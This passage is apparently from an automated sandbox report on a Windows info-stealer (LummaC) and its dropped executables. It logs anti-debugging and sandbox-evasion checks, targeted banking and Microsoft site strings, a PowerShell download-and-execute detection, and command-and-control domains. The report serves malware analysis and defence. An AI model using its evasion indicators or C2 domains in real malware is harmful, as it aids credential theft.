Source: C:\Users\user\Desktop\8WRONDszv4.exe	Special instruction interceptor: First address: E7E57D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Special instruction interceptor: First address: B6FF37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Special instruction interceptor: First address: B6D1FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Special instruction interceptor: First address: D46FCE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Special instruction interceptor: First address: DAD554 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Special instruction interceptor: First address: 2357B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Special instruction interceptor: First address: 2BA5AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10B57B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 113A5AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Special instruction interceptor: First address: 918AE3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Special instruction interceptor: First address: 918BFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Special instruction interceptor: First address: AC9869 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Special instruction interceptor: First address: B53CE8 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Memory allocated: 1580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Memory allocated: 3210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Memory allocated: 2F90000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

Code function: 6_2_048700BC rdtsc

6_2_048700BC

Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\8WRONDszv4.exe TID: 2324	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe TID: 3268	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe TID: 4196	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe TID: 2656	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5200	Thread sleep count: 119 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5200	Thread sleep time: -3570000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5200	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe TID: 4088	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe TID: 1924	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe TID: 4036	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe TID: 5772	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\8WRONDszv4.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmp, 99468ec718.exe, 0000000D.00000002.3385364523.0000000000AA4000.00000040.00000001.01000000.0000000F.sdmp, 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 99468ec718.exe, 0000000D.00000002.3387558023.0000000001388000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.000000000159E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware)a\|
Source: 8WRONDszv4.exe, 00000000.00000003.2256885520.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2256390573.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2278629681.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2184636830.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2277430232.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2277636329.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001614000.00000004.00000020.00020000.00000000.sdmp, 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000008.00000002.3385482616.0000000000968000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 2d537c36c0.exe, 0000000A.00000002.3268533384.0000000005950000.00000004.08000000.00040000.00000000.sdmp, 2d537c36c0.exe, 0000000A.00000002.3266454164.000000000444A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: TQIFFJWDXOOLJHSZWIJGHLFZSRRETBPLSYFHXWBHTJHGFSDRIKEBZBLHLJNORSKWY
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.0000000001614000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`4
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2514093673.000000000159E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 8WRONDszv4.exe, 00000000.00000003.2444304462.0000000006B8D000.00000004.00000800.00020000.00000000.sdmp, 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000000.2444950900.0000000000CFD000.00000080.00000001.01000000.00000006.sdmp, 62G762VR710L4VXE3U82EH4WFUFY.exe.0.dr	Binary or memory string: q\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2512625825.0000000000CFD000.00000040.00000001.01000000.00000006.sdmp, YHOCXQOWEM64H1IK2TUEH.exe, 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmp, 99468ec718.exe, 0000000D.00000002.3385364523.0000000000AA4000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 8WRONDszv4.exe, 00000000.00000003.2208330106.0000000005E50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: 99468ec718.exe, 0000000D.00000002.3387558023.00000000013BA000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000003.3373050563.00000000013B7000.00000004.00000020.00020000.00000000.sdmp, 99468ec718.exe, 0000000D.00000003.3373253268.00000000013B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node			graph_7-10712
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node			graph_7-10771

Source: C:\Users\user\Desktop\8WRONDszv4.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\8WRONDszv4.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\8WRONDszv4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\8WRONDszv4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\8WRONDszv4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

Code function: 6_2_048700BC rdtsc

6_2_048700BC

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_0005652B mov eax, dword ptr fs:[00000030h]	6_2_0005652B
Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Code function: 6_2_0005A302 mov eax, dword ptr fs:[00000030h]	6_2_0005A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00EDA302 mov eax, dword ptr fs:[00000030h]	7_2_00EDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00ED652B mov eax, dword ptr fs:[00000030h]	7_2_00ED652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00EDA302 mov eax, dword ptr fs:[00000030h]	8_2_00EDA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 8_2_00ED652B mov eax, dword ptr fs:[00000030h]	8_2_00ED652B

Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 62G762VR710L4VXE3U82EH4WFUFY.exe PID: 2976, type: MEMORYSTR

LummaC encrypted strings found

Source: 8WRONDszv4.exe, 00000000.00000003.2136035418.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: 8WRONDszv4.exe, 00000000.00000003.2136035418.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: 8WRONDszv4.exe, 00000000.00000003.2136035418.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: 8WRONDszv4.exe, 00000000.00000003.2136035418.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: 8WRONDszv4.exe, 00000000.00000003.2136035418.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: 8WRONDszv4.exe, 00000000.00000003.2136035418.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: 8WRONDszv4.exe, 00000000.00000003.2136035418.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: 8WRONDszv4.exe, 00000000.00000003.2136035418.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: 8WRONDszv4.exe, 00000000.00000003.2136035418.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz
Source: 2d537c36c0.exe, 0000000A.00000002.3265729520.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 2d537c36c0.exe, 0000000A.00000002.3265729520.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 2d537c36c0.exe, 0000000A.00000002.3265729520.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 2d537c36c0.exe, 0000000A.00000002.3265729520.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 2d537c36c0.exe, 0000000A.00000002.3265729520.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 2d537c36c0.exe, 0000000A.00000002.3265729520.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 2d537c36c0.exe, 0000000A.00000002.3265729520.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 2d537c36c0.exe, 0000000A.00000002.3265729520.0000000003211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe "C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Process created: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe "C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe"	Jump to behavior

Source: 99468ec718.exe, 0000000D.00000002.3385364523.0000000000AA4000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: sProgram Manager
Source: skotes.exe, skotes.exe, 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: mProgram Manager
Source: 62G762VR710L4VXE3U82EH4WFUFY.exe, 00000003.00000002.2512909938.0000000000D43000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: yProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00EBDD91 cpuid

8_2_00EBDD91

Source: C:\Users\user\Desktop\8WRONDszv4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\62G762VR710L4VXE3U82EH4WFUFY.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024079001\99468ec718.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024078001\2d537c36c0.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\YHOCXQOWEM64H1IK2TUEH.exe

Code function: 6_2_0003CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_0003CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00EA65E0 LookupAccountNameA,

8_2_00EA65E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00EE2517 GetTimeZoneInformation,

8_2_00EE2517

Source: C:\Users\user\Desktop\8WRONDszv4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 8WRONDszv4.exe, 00000000.00000003.2278629681.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2278629681.0000000001637000.00000004.00000020.00020000.00000000.sdmp, 8WRONDszv4.exe, 00000000.00000003.2296102453.0000000001628000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\8WRONDszv4.exe

